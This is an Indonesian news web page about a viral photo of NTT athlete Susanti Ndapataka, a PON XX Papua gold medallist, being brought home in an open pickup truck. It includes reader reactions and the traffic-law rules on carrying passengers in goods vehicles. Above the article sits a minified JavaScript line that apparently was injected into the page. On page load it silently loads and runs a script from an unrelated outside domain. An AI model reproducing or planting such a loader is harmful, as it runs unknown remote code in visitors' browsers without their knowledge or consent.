(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA+62

Viral Atlet NTT Peraih Emas di PON Pulang Naik Mobil Pikap Terbuka, Terlalu!


KANALKALIMANTAN.COM – Sebuah potret yang memperlihatkan seorang atlet asal Nusa Tenggara Timur (NTT) yang meraih medali emas di PON XX Papua pulang dengan naik mobil pikap terbuka viral di media sosial. Potret ini diabadikan dalam sebuah akun Twitter @narkosun01.

Dalam potret tersebut, tampak atlet bernama Susanti Ndapataka bersama dengan rekannya naik mobil pikap bak terbuka. Mobil tersebut identik dengan Suzuki Carry lawas.

“Ini benar-benar keterlaluan dan memalukan. Susanti Ndapataka, peraih medali pertama NTT di PON XX Papua dijemput pick up saat kembali ke rumahnya dari bandara tanpa ada sambutan dari Pemprov NTT. Mana apresiasi dari Pemprov NTT dan gubernur? Terlalu!” tulisnya

Potret ini pun mengundang reaksi dari warganet di kolom komentar.

“Utk bapak bapak yg terhormat. Utk dpt medali di ajang besar seperti ini sangat sulit pak. Tolong lah hargai sedikit” tulis @Memetwi***.

Baca juga : Vaksinasi Warga di Kotabaru Baru Capai 35 Persen, Ini Kata Kadinkes

“Miris lurr,,,, kurang perhatiannya pemerintahnya sama atlit” yg berjuang di PON papua indonesia,” beber @Olehole24****.

Ngomongin tentang mobil pikap yang digunakan untuk mengangkut atlet PON NTT tersebut.

Mobil ini memiliki dimensi bak lebih luas dengan panjang 2.505 milimeter, lebar 1.745 mm, dan tinggi 425 mm, serta mampu mengangkut beban 1 ton.

Dari sisi dapur pacu, mobil ini dibekali mesin berkode K15B berkapasitas 1.462 cc yang dikombinasikan dengan transmisi manual 5 percepatan.

Mobil ini diperuntukkan untuk mengangkut barang, bukan penumpang. Hal ini mengacu pada UU No 22 Tahun 2009 tentang Lalu Lintas dan Angkutan Jalan (LLAJ).

 

Baca juga : Peduli Korban Kebakaran di Sungai Tabuk, Pemadam di Martapura Kota Turun ke Jalan

Mobil pikap dirancang seutuhnya untuk mengangkut barang. Namun pada Pasal 137 ayat (4), mobil barang dilarang digunakan angkut orang, kecuali.

a. rasio Kendaraan Bermotor untuk angkutan orang, kondisi geografis, dan prasarana jalan di provinsi/kabupaten/kota belum memadai;

b. untuk pengerahan atau pelatihan Tentara Nasional Indonesia dan/atau Kepolisian Negara Republik Indonesia; atau

c. kepentingan lain berdasarkan pertimbangan Kepolisian Negara Republik Indonesia dan/atau Pemerintah Daerah. (Suara.com)

Editor : kk


Desy Arfianty

Recent Posts

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

8 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

9 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

11 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

17 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

18 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

20 jam ago

This website uses cookies.